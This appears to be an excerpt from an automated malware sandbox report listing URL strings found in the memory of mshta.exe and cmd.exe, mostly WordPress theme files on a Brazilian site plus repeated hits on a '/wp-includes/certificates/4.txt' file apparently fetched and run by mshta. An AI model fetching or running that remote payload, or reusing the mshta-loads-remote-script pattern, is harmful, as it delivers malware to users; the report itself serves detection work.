Source: mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3Dj
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css
Source: mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.40ET4.0E)
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ET4.0E)
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0.0.NET4.0E)
Source: mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.04.0C;
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0=1.0
Source: mshta.exe, 00000008.00000002.1175391272.0000000002D90000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0http://facextrade.com
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173475298.0000000000437000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.01.0)9
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0ET4.0E)
Source: mshta.exe, 00000008.00000003.1070311161.0000000004046000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1033917925.0000000004046000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1070575117.0000000004047000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1034236368.0000000004047000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1180357807.0000000004048000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0.NET4.0E)
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0/
Source: mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.00C;
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0;
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173475298.0000000000437000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0
Source: mshta.exe, 00000008.00000003.1063971412.0000000004A94000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1182841589.0000000004A95000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0http:
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1182143178.000000000494D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.20E)
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.20E)kN
Source: mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.24i
Source: mshta.exe, 00000008.00000002.1182143178.000000000494D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2:29:C:
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2ET4.0E)
Source: mshta.exe, 00000008.00000002.1174903419.0000000002C53000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1106302508.0000000002C53000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1094588100.0000000002C53000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2PS
Source: mshta.exe, 00000008.00000002.1173276788.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2d.min.css
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1:
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173276788.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1?
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1w
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jsbC:
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0)
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173475298.0000000000437000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.09.20
Source: mshta.exe, 00000008.00000003.1070311161.0000000004046000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1033917925.0000000004046000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1070575117.0000000004047000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1034236368.0000000004047000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1180357807.0000000004048000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6
Source: mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6-US
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.60C;
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.62.1
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6C:
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6pngS
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6vN
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3-US
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3.NET4.0E)
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.30C;
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.34.9.20
Source: mshta.exe, 00000008.00000002.1173276788.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3ET4.0C;
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0-US
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0.NET4.0E)
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.04.0E)
Source: mshta.exe, 00000008.00000003.1063971412.0000000004A94000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1182841589.0000000004A95000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0http://facextrad
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0r=1.0)
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20ive.css.NET4.0E)-
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20w
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css4
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.cssQ
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css#
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssS
Source: mshta.exe, 00000008.00000002.1173276788.00000000003BE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg);
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173475298.0000000000437000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0.js?ver=5.0.3.0
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0C:
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0ver=5.0.3Z
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1175391272.0000000002D90000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0http://facextrade.c
Source: mshta.exe, 00000008.00000002.1173276788.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3n.js?ver=1
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173475298.0000000000437000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0.NET4.0E)
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.00C;
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.09.20
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0S
Source: mshta.exe, 00000008.00000003.1063971412.0000000004A94000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1182841589.0000000004A95000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0http://facextrade.
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css
Source: mshta.exe, 00000008.00000002.1173276788.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css.css?ver=4.9.204.9.201.2.8.1242:
Source: mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssE
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1182204741.000000000495B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.css
Source: mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.cssa.css
Source: mshta.exe, 00000008.00000003.1023231434.0000000003352000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023163687.0000000003351000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1176943509.0000000003359000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023337631.0000000003357000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1087381202.0000000003351000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1087456230.0000000003352000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1087583264.0000000003357000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1087659968.0000000003358000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023304872.0000000003354000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023380867.0000000003358000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253http://facextrade.com.br/wp-content/themes/Cher
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png4.0E)
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png_
Source: mshta.exe, 00000008.00000002.1182204741.000000000495B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/
Source: mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173190708.0000000000380000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt
Source: mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#
Source: cmd.exe, 00000002.00000002.1172685268.000000000036E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtAWinSta0
Source: mshta.exe, 00000008.00000002.1173190708.0000000000380000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtWinSta0
Source: mshta.exe, 00000008.00000002.1174903419.0000000002C53000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1106302508.0000000002C53000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1094588100.0000000002C53000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txthttp://facextrade.com.br/wp-includes/certific
Source: mshta.exe, 00000008.00000002.1173190708.0000000000380000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtmshta
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtr/wpe(
Source: cmd.exe, 00000002.00000002.1172685268.000000000036E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtsmshta
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204171.2.1n
Source: mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204172.1g
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417C:
Source: mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417igrate-1.2.1.min.js?ver=1.2.1=1
Source: mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417m
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1182611118.0000000004A4A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20Time.js?ver=1.0E
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20e
